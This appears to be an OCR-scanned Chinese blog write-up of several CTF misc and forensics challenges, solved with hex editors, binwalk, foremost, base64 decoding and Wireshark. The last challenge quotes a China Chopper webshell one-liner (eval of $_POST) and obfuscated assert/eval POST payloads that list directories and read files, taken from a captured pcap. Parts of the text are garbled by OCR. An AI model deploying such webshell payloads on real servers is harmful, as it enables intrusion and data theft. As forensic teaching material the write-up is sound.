00000110	7E	24	19	41	6F	DF	20	A5	27	E8	72	F8	1E	5E	98	46	~\$ Aof	}¥'èrø ^~F	
00000120	D6	3C	6C	51	41	22	1C	2C	28	84	89	E3	61	A 1	A5	EF	Ö<10A'	',("‱ãa;¥ï	
00000130	FE	D9	73	B3	A3	1E	26	83	26	F8	71	9E	8D	82	D1	5B	þÙs³£	&f&øqž ,Ñ[
00000140	E3	A 1	D8	93	A 5	E4	84	0F	E1	32	CE	96	92	17	C4	94	ã;Ø"¥à	i"á2Î−′Ä″	
00000150	61	4B	2B	4A	76	67	7D	AA	65	4B	35	E2	5A	33	96	94	aK+Jvç]}ªeK5âZ3-″	
00000160	06	27	52	11	56	FO	79	9B	43	74	02	F3	19	17	16	CE	'R V8	§y>CtóÎ	
00000170	FO	ЗD	A 8	CD	81	47	76	2B	CB	8A	49	23	AD	09	4B	14	ð="Í 0	Sv+ËŠI#− K	
00000180	AB	3E	BE	Β1	BF	Α4	BA	86	FD	1E	EE	AE	97	0F	50	4B	≪>¾±¿≯	≀°†ý î@— PK	
00000190	03	04	14	00	00	00	08	00	00	00	21	00	4B	FD	D2	09		! KýÒ	
000001A0	DB	00	00	00	55	01	00	00	21	00	2E	00	D1	DB	BC	FB	ΰυ	!.ÑÛ¥û	
000001B0	B7	C7	CA	B5	2F	63	75	73	74	6F	6D	58	6D	6C	2F	69	∙Çʵ/o	customXml/i	
000001C0	74	65	6D	50	72	6F	70	73	31	2E	78	6D	6C	75	70	2A	temPro	opsl.xmlup*	
000001D0	00	01	C6	3D	4C	E8	E7	9C	BC	E8	A7	81	E9	9D	9E	E5	# =Lè	cœ∿è§_é žå	343
000001E0	AE	9E	2F	63	75	73	74	6F	6D	58	6D	6C	2F	69	74	65	®ž/cus	stomXml/ite	~

继续改后缀为.zip, 然后解压得到一个文件夹

rels customXml docProps	2016/8/15 4:06 2016/8/15 4:06 2016/8/15 4:06 2016/8/15 4:06	文件夹 文件夹 文件夹	
[Content_Types].xml	2010/0/13 4.00	文(中央 XML 文档	https ?/KB blog.csdn.net/qq_39629343

然后在 word->document.xml 中找到了flag

document.xml ×
xml version="1.0" encoding="UTF-8" standalone="yes"?
<w:document xmlns:mc="</td" xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas"></w:document>
"http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="
urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/
officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/
math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/
word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/
wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://
schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/
office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg=
"http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://
<pre>schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/</pre>
office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/
wordprocessingShape" mc:Ignorable="w14 w15 wp14"> <w:body><w:p w:rsidr="002B3D8D" w:rsidrdefault="</td></tr><tr><td>002B3D8D"><w:r><w:t>Flag</w:t></w:r><w:r><w:t>在这里呦! </w:t></w:r></w:p><w:p td="" w:<="" w:rsidr="002B3D8D"></w:p></w:body>
rsidRPr="002B3D8D" w:rsidRDefault="002B3D8D"> <w:ppr><w:rpr><w:rfonts w:hint="eastAsia"></w:rfonts><w:vanish></w:vanish></w:rpr></w:ppr>
<w:r w:rsidrpr="002B3D8D"><w:rpr><w:vanish></w:vanish></w:rpr><w:t>flag{ }/w:t></w:t></w:r> <w:< td=""></w:<>
bookmarkStart w:id="0" w:name="_GoBack"/> <w:bookmarkend w:id="0"></w:bookmarkend> <w:sectpr del="" w:rs<="">idR="002B3D8D"</w:sectpr>
w:rsidRPr="002B3D8D"> <w:pgsz w:h="16838" w:w="11906"></w:pgsz> <w:pgmar td="" w:bottom<="" w:right="1800" w:top="1440"></w:pgmar>
="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"></w:cols> <w:docgrid< td=""></w:docgrid<>
<pre>w:type="lines" w:linePitch="312"/> https://blog.ordn.not/on_306202421</pre>

6.又一张图片,还单纯吗 2.jpg

拿到图片第一反应就是放到winhex中,但这次的图片果然不单纯,那就放到kali中使用binwalk看看吧

binwalk -e 图片路径 root@kali:~/桌面# binwalk 2.jpg

root@kali:~/ 2.jpg root@kali:~/	裏面# ls 裏面# binwalk	-e 2.jpg
DECIMAL	HEXADECIMAL	DESCRIPTION
0 12 ctory: 8	0x0 0xC	JPEG image data, EXIF standard TIFF image data, big-endian, offset of first image dire
13017 :Description 158792 158822 ctorv: 8	0x32D9 rdf:about="" 0x26C48 0x26C66	Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns JPEG image data, JFIF standard 1.02 TIFF image data, big-endian, offset of first image dire</rdf
159124 162196 164186 :Description 168370 ompany"	0x26D94 0x27994 0x2815A rdf:about="" 0x291B2	<pre>JPEG image data, JFIF standard 1.02 JPEG image data, JFIF standard 1.02 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf (c)="" 1998="" c<="" copyright="" hewlett-packard="" pre="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xap="htt Copyright string: "></rdf></pre>
root@kali:~/	〔1997〕	https://blog.csdn.net/qq_39629342

foremost 图片地址 root@kali:~/桌面# foremost 2.jpg Processing: 2.jpg |*| root@kali:~/桌面# ls 2.jpg output root@kali:~/桌面# cd output/ root@kali:~/桌面/output# ls audit.txt jpg

这时会在当前目录生成output文件,打开文件就可以看到一张flag图片

100%	× •	00000310.jpg	۳	≡	•	▣	⊗
			大小 类型 文件大小 文件夹	属性 640 × JPEG 图 27.7 K jpg	t 444	殔素	×
	falg{N	F_e65?	光圈 曝光 ISO 測光 相机				
			日期 时间				
		https://blog.	osdn. net	t/qq_	3962	2934	13

7.猜 QQ20170221-132626.png

直接百度搜图或者Google搜图



8.宽带信息泄露 conf.bin

flag格式: flag{宽带用户名}

<u>e</u> m	RouterPassView - 🗆 🗸
File	Edit View Options Help
2	2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
x<br <ds <</ds 	<pre>Image: Image: Imag</pre>
<	https://blog.csdn.net/og_39629343
-	

下一步就是查找flag了,根据flag格式可以知道要找用户名,查找关键字username

<pre><natenabled <defaultgatewa="" <externalipadd="" <natenabled="" <subnetmask="" <x_tp_ifname="" pre="" v<="" va=""></natenabled></pre>	_eth1_s /> l=1 /> ress val=0.0.0.0 /> l=0.0.0.0 /> y val=0.0.0.0 /> al=eth1 />		
▲ ZWANIPI:onnectin 查找	n>	×	
查找内容(N): username	e	查找下一个(F)	
□ 全字匹配(W)	方向	取消	
□区分大小写(C)	○向上(U)		
<pre><dnsservers <="" <defaultgatewa<="" <enable="" <macaddress="" <wanipconnection="" <wanpppconnectio="" <x_tp_ifname="" pre="" v="" va="" val="1" wanipconnectio=""></dnsservers></pre>	1=0.0.0.0,0.0.0.0.0 /> 1=D0:C7:C0:43:53:69 / al=eth1 /> n> nextInstance=3 /> n instance=1 > /> y val=10.177.144.1 />	>	

Welcomejpg																						
Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F			ANSI	AS	CII	~
00000000	FF	D8	FF	E0	00	10	4A	46	49	46	00	01	01	01	00	78	ÿØÿ	à	JFIF		х	
00000010	00	78	00	00	FF	E1	10	B 0	45	78	69	66	00	00	4D	4D	х	ÿá	i °E <mark>x</mark>	if	MM	
00000020	00	2A	00	00	00	08	00	06	01	0E	00	02	00	00	00	06	*					
00000030	00	00	08	62	01	12	00	03	00	00	00	01	00	01	00	00		b				
00000040	87	69	00	04	00	00	00	01	00	00	08	68	9C	9B	00	01	‡i			hœ	>	
00000050	00	00	00	0C	00	00	10	88	9C	9F	00	01	00	00	00	14			^œŸ			
00000060	00	00	10	94	EA	1C	00	07	00	00	08	0C	00	00	00	56		″ê			v	
00000070	00	00	00	00	1C	EA	00	00	00	80	00	00	00	00	00	00		é	2			
00000080	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00⁄						
00000090	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000000A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000000B0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000000	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000D0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000000E0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000000F0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000100	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000110	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000120	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000130	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000140	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000150	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000160	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000170	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000180	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
00000190	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000001A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000001B0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000001C0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
000001D0	00	00	00	00	00	00	00	00	00	00	00	00	28	100	00	00 Sür	l. ne	et/	aa 3	396	2934	43
000001E0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			-1-1			4

可以看到图片嵌入了Exif信息,但是看属性没看到什么有用的提示,老方法放到kali里找

使用binwalk提取

root@kali:~/桌面# binwalk Welcome_.jpg

root@kali:~	/桌面# binwalk We	lcomejpg
DECIMAL	HEXADECIMAL	DESCRIPTION
0	0×0	JPEG image data, JFIF standard 1.01
30 directory:	0×1E 8	TIFF image data, big-endian, offset of first image
4444	0x115C	Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:descri "http://p</rdf:descri 	ption rdf:about="	uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc=
4900	0x1324	Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:li td="" xml<=""><td>:lang="x-default"</td><td>>hint:</td></rdf:li>	:lang="x-default"	>hint:
WOFR 6	0xCD24	Zip archive data, at least v1.0 to extract, compre
ssed size:	6732, uncompresse	d size: 6732, name: flag.rar
59264	0xE780	End of Zip archive
147852	0x2418C	End of Zip archive://blog.csdn.net/qq_39629343

使用foremost分离



打开output文件,里面有一个zip文件



解压之后得到一个提示.jpg和一个flag.ran,根据提示和人名可以知道密码扑克牌中的KJQ有关,又是三个数字,根据键盘发现 字母和数字之间的关系,k->8,J->7,Q->1,得到密码是871.使用ARCHRP软件暴力破解也可以,解压得到3.jpg,放到winhex中查 看。

3.jpg																		
Offset		0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	ANSI ASCII
000018A	10	F6	14	19	60	5E	0B	66	B1	92	80	C9	77	41	5F	23	0E	ö `^ f±′€ÉwA_#
000018E	30	20	F6	8E	B9	7F	AC	34	1B	BF	4D	EC	0A	02	7A	2A	F9	ö޹⊣4 ¿Mì z*ù
0000180	:0	F2	61	2A	4A	63	68	1F	0E	70	03	06	DE	18	2A	76	0C	òa*Jch p ₽ *v
0000180	00	44	0A	53	AC	45	FD	B7	F5	81	8C	12	7D	9E	B2	6A	0B	D S⊣Eý·õ Œ }ž°j
000018E	:0	CD	E4	C0	64	84	B3	C3	ED	F8	FA	29	BE	5F	E7	66	ED	ÍäÀd"³Ãíøú)¾_çfí
000018F	0	17	83	C9	F3	AE	30	93	B4	EE	DA	19	9B	11	81	E9	F8	fÉó®0"´îÚ > éø
0000190	0	BF	EF	78	41	81	5B	14	Α4	E7	E3	9F	39	5C	2A	02	9B	¿ïxA [¤çãŸ9* →
0000191	.0	DE	9C	B0	18	6B	EC	9C	73	5C	FE	90	B8	C5	44	74	D9	Þœ° kìœs∖þ 'ÅDtÙ
0000192	0	E0	FF	00	3E	99	04	AD	43	CF	59	05	7A	19	C2	71	3B	àÿ >™ -CÏY z Âq;
0000193	0	E7	34	32	50	02	78	C2	17	D3	5F	8F	FC	C4	96	0D	BB	ç42P x Ó_ üÄ- »
0000194	0	43	83	8F	77	1F	D7	69	76	21	Β9	5F	7C	88	C0	E0	08	Cf w ×iv!'_ ^Àà
0000195	0	07	83	29	DE	FF	00	01	F3	9B	2E	5A	88	01	83	F3	C7	f)Þÿ ó>.Z^ fóÇ
0000196	50	EB	Ε9	B6	D1	1F	A5	C2	A3	2C	A 0	02	AF	9C	23	A 5	56	ëé¶Ñ ¥Â£, ¯œ‡¥V
0000197	0	1C	F7	Β1	FC	E1	CE	D8	4A	32	BB	C4	84	00	96	9F	BC	÷±üáÎØJ2≫Ä" –Ÿ⊷
0000198	0	DD	B7	61	98	79	66	D8	DA	1A	9B	3B	39	C5	2C	51	19	Ý a~yfØÚ >;9Å,Q
0000199	0	FE	36	06	F5	EF	70	05	C5	A7	93	81	BA	E7	57	D4	E7	þ6 õïp ŧ" °çWÔç
000019A	10	26	90	9C	25	9D	71	1A	FB	E1	02	C0	6F	44	95	0D	57	နေ့ က ûá ÀoD• W
000019B	30	9E	C2	AF	59	1B	9E	6F	1A	DD	6B	B5	E7	58	F8	34	1E	žÂ Y žo ÝkµçXø4
0000190	:0	EB	C8	58	81	ЗB	7B	0D	60	23	2C	14	E0	14	13	4D	9C	ëÉX;{`#,à Mœ
0000190	00	Fl	F2	89	C2	0B	C0	9C	ΟA	C7	BE	BF	78	68	50	25	31	ñò%Ä Àœ Ǿ¿xhP%l
000019E	:0	A0	83	C7	43	BF	38	35	0B	11	D3	98	2D	4D	EF	EF	83	fÇC¿85 Ö~-Mïïf
000019F	0	95	4D	9A	5C	01	54	DA	ЗA	Fl	8E	2D	1E	6A	56	E1	B1	•Mš\ TÚ:ñŹ- jVá±
00001A0	0	76	83	BE	19	02	12	19	85	DD	F5	2F	71	D9	F8	ED	F8	vf¾ …Yõ∕qŪøiø
00001A1	.0	D6	32	7B	25	E4	Fl	53	17	8C	80	50	37	D7	1D	BF	9C	Ö2{%äñS Œ€P7× ¿œ
00001A2	0	A0	2E	B0	29	AC	Α6	B1	AD	38	00	A3	62	CF	8C	69	6D	.°)¬¦±-8 £bÎŒim
00001A3	0	СВ	15	9F	6F	6C	A 0	86	25	6E	12	70	EB	BC	69	6B	41	E Yol †%n pë4ikA
00001A4	0	23	E4	67	D4	FF	D9	20	20	20	20	66	31	40	67	7B	65	#ägOÿÜ fl@g{e
00001A5	0	54	42	31	49	45	46	79	5A	53	42	68	49	47	68	41	59	TBliEFyZSBhIGhAY
00001A6	50	32	74	6C	63	69	45	ЗD	7D	20	20	20	20	20	0D	0A	20	2tlciE=}
00001A7	0	1A								ht	tp	s:/	//b	10	g. c	sd	n. n	et/qq_39629343

f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

base64解码,得到y0u Are a h@cker!



提交时将fl@g改为flag

10.多种方法解决 3.zip

提示: 在做题过程中你会得到一个二维码图片

使用winhex打开,发现是一个base64转图片,所以先将后缀改为.txt,然后将base64编码为图片

KEY.exe																	
Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	ANSI ASCII
00000000	64	61	74	61	ЗA	69	6D	61	67	65	2F	6A	70	67	3B	62	<mark>d</mark> ata:image/jpg;b
00000010	61	73	65	36	34	2C	69	56	42	4F	52	77	30	4B	47	67	ase64,iVBORw0KGg
00000020	6F	41	41	41	41	4E	53	55	68	45	55	67	41	41	41	49	OAAAANSUhEUgAAAI
00000030	55	41	41	41	43	46	43	41	59	41	41	41	42	31	32	6A	UAAACFCAYAAAB12j
00000040	73	38	41	41	41	41	41	58	4E	53	52	30	49	41	72	73	s8AAAAAXNSR0IArs
00000050	34	63	36	51	41	41	41	41	52	6E	51	55	31	42	41	41	4c6QAAAARnQU1BAA
00000060	43	78	6A	77	76	38	59	51	55	41	41	41	41	4A	63	45	Cxjwv8YQUAAAAJcE
00000070	68	5A	63	77	41	41	44	73	4D	41	41	41	37	44	41	63	hZcwAADsMAAA7DAc
00000080	64	76	71	47	51	41	41	41	72	5A	53	55	52	42	56	48	dvqGQAAArZSURBVH
00000090	68	65	37	5A	4B	42	69	74	78	49	46	67	54	76	2F	33	he72KBitxIFgTv/3
000000A0	39	36	54	78	35	36	34	47	31	55	6F	75	69	63	4B	67	96Tx564GlUouicKg
000000B0	31	39	68	77	50	43	44	63	72	4D	4A	39	6D	37	2F	37	19hwPCDcrMJ9m7/7
00000000	6E	34	35	7A	66	64	78	65	35	5A	33	73	4A	37	70	72	n45zfdxe5Z3sJ7pr
00000D0	48	62	66	39	72	58	4F	33	50	34	6C	4C	76	59	50	63	Hbf9rXO3P41LvYPc
000000E0	74	62	65	4D	38	30	64	76	74	50	2B	33	70	6E	44	70	tbeM80dvtP+3pnDp
000000F0	39	79	46	37	74	6E	65	51	76	76	6D	63	5A	75	2F	32	9yF7tneQvvmcZu/2
00000100	6C	66	37	38	7A	68	55	2B	35	69	39	79	78	76	34	54	lf78zhU+5i9yxv4T
00000110	33	54	32	4F	30	2F	37	65	75	64	36	38	4F	54	32	48	3T200/7eud680T2H
00000120	33	4C	43	66	74	30	6C	2F	61	65	39	5A	6C	54	6F	2B	3LCft01/ae9Z1To+
00000130	32	33	70	50	76	58	37	2F	72	77	4A	48	62	66	63	73	23pPvX7/rwJHbfcs
00000140	49	2B	33	61	57	39	5A	33	33	6D	31	47	6A	37	4C	65	I+3aW9Z33m1Gj7Le
00000150	6E	2B	39	62	73	2B	50	49	6E	64	74	35	79	77	54	33	n+9bs+PIndt5ywT3
00000160	64	70	37	31	6D	66	4F	54	58	61	66	6B	75	36	66	2F	dp71mfOTXafku6f/
00000170	32	75	44	30	39	69	39	79	30	6E	37	4E	4E	64	32	6E	2uD09i9y0n7NNd2n
00000180	76	57	5A	30	36	4E	74	74	2B	53	37	6C	2B	2F	36	38	vWZ06Ntt+S71+/68
00000190	4D	4A	63	35	4F	30	4F	53	57	70	63	79	65	78	6E	46	MJc5000SWpcyexnF
000001A0	6A	66	63	73	49	2B	4A	57	31	75	6B	70	52	66	76	2B	jfcsI+JWlukpRfv+
000001B0	76	44	43	58	4F	54	74	44	6B	6C	71	58	4D	6E	73	5A	vDCXOTtDklqXMnsZ
000001C0	78	59	33	33	4C	43	50	69	56	74	62	70	4B	55	58	37	xY33LCPiVtbpKUX7
000001D0	2F	72	77	77	6C	7A	6B	37	51	35	4A	61	6C	7A	4A	37	/rwwlzk7Q5JalzJ7
000001E0	47	63	57	4E	39	79	77	6A	34	6C	62	57	36	53	6C	46	GcWN9ywj41bW6S1F

 /R/i8Pwl//fJZYb3Jvv8Pd/il+WWG5wb77D3/8pflliucG9+Q5

 //6f4ZYnlBvfmO1y9PH7KFttbfhq+zySpMyVtbr7D1cvjp2yxveWn4ftMkjpT0ubmO1y9PH7KFttbfhq+zySpMyVtbr7D1cvjp2

 yxveWn4ftMkjpT0ubmO1y9ftRg9y0n7FPD+paTtk9O71sT13Mv7WD3LSfsU8P6lpO2T07vWxPXcy/tYPctJ+xTw

 /qWk7ZPTu9bE9dzL+1g9y0n7FPD+paTtk9O71sT1/P7EnOTWG5wb5LUmRptn3D/6b6+eX04YW4Syw3uTZl6U6PtE+4

 /3dc3rw8nzE1iucG9SVJnarR9wv2n+

 /rm9eGEuUksN7g3SepMjbZPuP90X9+8PpwwN0mb72pYfzcn1rf8NHwffXXWhxPmJmnzXQ3r7+bE+pafhu+jr876cMLcJG

 2+q2H93ZxY3/LT8H301VkfTpibpM13Nay

还原生成的Base64编码为图片:



https://blog.csdn.net/qq_39629343

直接扫码就可以得到flag了

11.linux 1.tar.gz

放在linux下解压,然后得到一个flag二进制文件,使用linux命令查找关键字

```
[admin@localhost ~]$ cd 桌面
[admin@localhost 桌面]$ ls
1.tar.gz test
[admin@localhost 桌面]$ cd test/
[admin@localhost test]$ ls
flag
[admin@localhost test]$ grep 'key' -a flag
key{}
key{
f 81 834e2 23c990 4755 4060 }
```

https://blog.csdn.net/qq_39629343

12.中国菜刀 caidao.zip

解法一

解压得到一个数据包,放在wireshark中,既然是菜刀,那么就专门找http协议的

查看第一个http

123=array_map("ass"."ert",array("ev"."Al(\"\\\\$xx%3D\\
\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\
<pre>\$xx('QGluaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwiMCIp00BzZXRfdGltZV9saW1pdCgwKTtp</pre>
ZihQSFBfVkVSU01PTjwnNS4zLjAnKXtAc2V0X21hZ21jX3F1b3R1c19ydW50aW11KDAp0307Z
WNobygiWEBZIik7JEQ9J0M6XFx3d3dyb290XFwnOyRGPUBvcGVuZG1yKCREKTtpZigkRj09T1
VMTC17ZWNobygiRVJST1I6Ly8gUGF0aCB0b3QgRm91bmQgT3IgTm8gUGVybWlzc21vbiEiKTt
9ZWxzZXskTT10VUxM0yRMPU5VTEw7d2hpbGUoJE49QHJ1YWRkaXIoJEYpKXskUD0kRC4nLycu
JE47JFQ9QGRhdGUoI1ktbS1kIEg6aTpzIixAZmlsZW10aW11KCRQKSk7QCRFPXN1YnN0cihiY
XN1X2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuI1x0Ii5AZm
lsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2V
sc2UgJEwuPSROLiRSO311Y2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTt1Y2hvKCJYQFkiKTtk
aWUoKTs%3D'));\");"));HTTP/1.1 200 OK
Date: Mon, 27 Jun 2016 08:47:38 GMT
Server: Apache/2.2.22 (Win32) PHP/5.3.13
X-Powered-By: PHP/5.3.13
Content-Length: 1575
Content-Type: text/html nttps://blog.csdn.net/qq_39629343
Date: Mon, 27 Jun 2016 08:47:38 GMT Server: Apache/2.2.22 (Win32) PHP/5.3.13 X-Powered-By: PHP/5.3.13 Content-Length: 1575 Content-Type: text/html https://blog.csdn.net/qq_39629343

将base64解码得到一段代码

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X @Y");\$D='C:\\wwwroot\\';\$F=@opendir(\$D);if(\$F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{\$M= NULL;\$L=NULL;while(\$N=@readdir(\$F)){\$P=\$D.'/'.\$N;\$T=@date("Y-m-d H:i:s",@filemtime(\$P));@\$E=substr(base_convert(@fileperms(\$P),10,8),-4);\$R="\t".\$T."\t".@filesize(\$P)."\t".\$E."\n";if(@is_dir(\$P))\$M.=\$N."/".\$R;else \$L.=\$N.\$R; }echo \$M.\$L;@closedir(\$F);};echo("X@Y");die();

发现好像没法用,继续往下找,在第四个http中发现了一句话

<pre>POST /3.php HTTP/1.1 X-Forwarded-For: 241.38.53.25 Referer: http://192.168.1.145/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/ search/spider.html) Host: 192.168.1.145</pre>
Content-Length: 412 Cache-Control: no-cache
<pre>123=array_map("ass"."ert",array("ev"."Al(\"\\\\$xx%3D\\ \"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\ \$xx('QGluaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZih QSFBfVkVSU0IPTjwnNS4zLjAnKXtAc2V0X21hZ21jX3F1b3R1c19ydW50aW11KDAp0307ZWNobyg iWEBZIik7JEY9J0M6XFx3d3dyb290XFwzLnBocCc7JFA9QGZvcGVuKCRGLCdyJyk7ZWNobyhAZnJ 1YWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk702VjaG8oI1hAWSIp02RpZSgpOw%3D %3D'));\");"));HTTP/1.1 200 0K Date: Mon, 27 Jun 2016 08:48:02 GMT Server: Apache/2.2.22 (Win32) PHP/5.3.13 X-Powered-By: PHP/5.3.13 Content-Length: 33 Content-Type: text/html</pre>
X@Y php eval(\$_POST[123]);? X@Y
https://blog.csdn.net/qq_39629343

那么flag应该在连上菜刀之后,查找下一个http包

将base64字段的内容解密,得到代码,发现传输了一个flag.tar.gz文件

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X @Y");\$F="C:\\wwwroot\\flag.tar.gz";\$fp=@fopen(\$F,'r');if(@fgetc(\$fp)){@fclose(\$fp);@readfile(\$F);}else{echo('ERR OR:// Can Not Read');};echo("X@Y");die();

查看最后一个http数据,显示该包对应数据分组字节

htt	p				▲ → ▼ 表达式… +
No.	Time	Source	Destination	Protocol Length Info	
	5 0.184621	10.211.55.61	192.168.1.145	HTTP 828 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)	
	9 0.576743	192.168.1.145	10.211.55.61	HTTP 340 HTTP/1.1 200 OK (text/html)	
	18 21.139025	10.211.55.61	192.168.1.145	HTTP 766 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)	
	20 24.225688	192.168.1.145	10.211.55.61	HTTP 256 HTTP/1.1 200 OK (text/html)	
+	30 48.763038	10.211.55.61	192.168.1.145	HTTP 826 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)	
-	32 49.117671	192.168.1.145	10.211.55.61	HTTP 433 HTTP/1.1 200 OK (text/html)	

> Frame 32: 433 bytes on wire (3464 bits), 433 bytes captured (3464 bits) on interface 0 > Ethernet II, Src: Parallel_00:00:18 (00:1c:42:00:00:18), Dst: Parallel_f4:84:6c (00:1c:42:f4:84:6c) > Internet Protocol Version 4, Src: 192.168.1.145, Dst: 10.211.55.61

Transmission Control Protocol, Src Port: 80, Dst Port: 49368, Seq: 1, Ack: 773, Len: 379

Hypertext Transfer Protocol

Y Line-based text data: text/html (4 lines) X@Y\037\213\b\000w\347pW\000\003\355\321Y\n

\3020\024\205\341.\245+\320\314\261\313\211\332['|\320\n [truncated]\016\270w\243\026A\024\337\212\210\377\a\311\315CHnrd\225\232a\321/\245T\364\276\274\325p\257\312\270{\355\224\332D\353t\260>\257\225v\332\332\242\364=\367u\263\333\2661\223[9\ [truncated]\332}\333\323\035\371?\202s\037\362w\276\313\337\307\240c\316\337\a\243\212R\365\324\317\223?\317\177Y\037N\243\030*\251me\305\224\253j\$)\$\255\223\324f,\2231\360\365\371\333M\06

	Wireshark · Line-based text d	data (data-text-lines) · caidao.pcapng
--	-------------------------------	--

ŀ	flag/ 0000000000 12734163500 014133 5					000755	000765	000024
	ustar 00zhangjianxiang flag/flag.txt	staff	0000	00 00	00000	000644	000765	000024
	00000000045 12734157617 015620 0	staff	0000	199 91	00000			
1	key{876 d65e	}	0000					
6	頃 32, Line-based text data (data-text-lines), 209 字节。	己愿示 206 字节。				_		
角	解码为 压缩 ▼ 显示为 ASCII ▼					Ŧ	F始 3 🚦	: 结束 209 😫
킽	暨找:							查找下一个(1)
				打印	印 http复制/blose	veCastin. I	10Closeq	3962 Help 43

得到flag

解法二

解压之后得到一个数据包 caidao.pcapng , 放到wireshark中然后追踪TCP流,发现 flag.tar.gz

🚄 caida	o.pcapng					- 0	×	📕 Wireshar	k · 追踪 TCP 济	ξ (tcp.stream eq 0) · ca	idao.pcapng		- [×
文件(E)	编辑(E) 视图(V)	跳转(G) 捕获(C) 分析(A) 统计(<u>S</u>) 电	活(Y) 无线(W) 工具(T)	帮助(<u>H</u>)			fckedito	r/	2016-01-18 03:0	a9:11 0	0777		<u>^</u>
	(💿 📘 🖻 🗙	🗳 । ९ 👄 🔿 🕾 🕢		0.0.1				FI/	2015-06-	15 06:36:57 0	0777			
top. st:	ream eq O					スティー あけ		fileuplo	ad/	2015-11-19 02:	19:45 0	0777		
No	Tine	Same	Bestinat	ion	Protocol Length	Info		fwcms/	2016-01-	28 03:11:29 0	0777			
	1 0.000000	10.211.55.61	192.10	0 4 445	TCD	5 49366 → 80 [SYN] Seg=0 Win=6	55535	IdeaCMS/	2015-06-	03 11:53:30 0	0///			
	2 0.184322	192.168.1.145	10.2	标记/取消标记 分组(M)	Ctrl+M	80 → 49366 [SYN, ACK] Seg=0	Ack=1	inj/	2010-01-	20 07:34:01 0	0777			
	3 0.184414	10.211.55.61	192.	忽略/取消忽略 分组(!)	Ctrl+D	49366 → 80 [ACK] Seg=1 Ack=1	1 Win=	lwcms/	2016-03-	22 01:10:07 0	0777			
	4 0.184589	10.211.55.61	192.	设置/取消设置 时间参考	Ctrl+T	49366 → 80 [PSH, ACK] Seq=1	Ack=1	MSSQLpri	/ 2015-06-	03 11:53:31 0	0777			
	5 0.184621	10.211.55.61	192.	时间平移	Ctrl+Shift+T	POST /3.php HTTP/1.1 (appli	icatio…	MysqlUDF	pri/	2015-06-15 07:	37:22 0	0777		
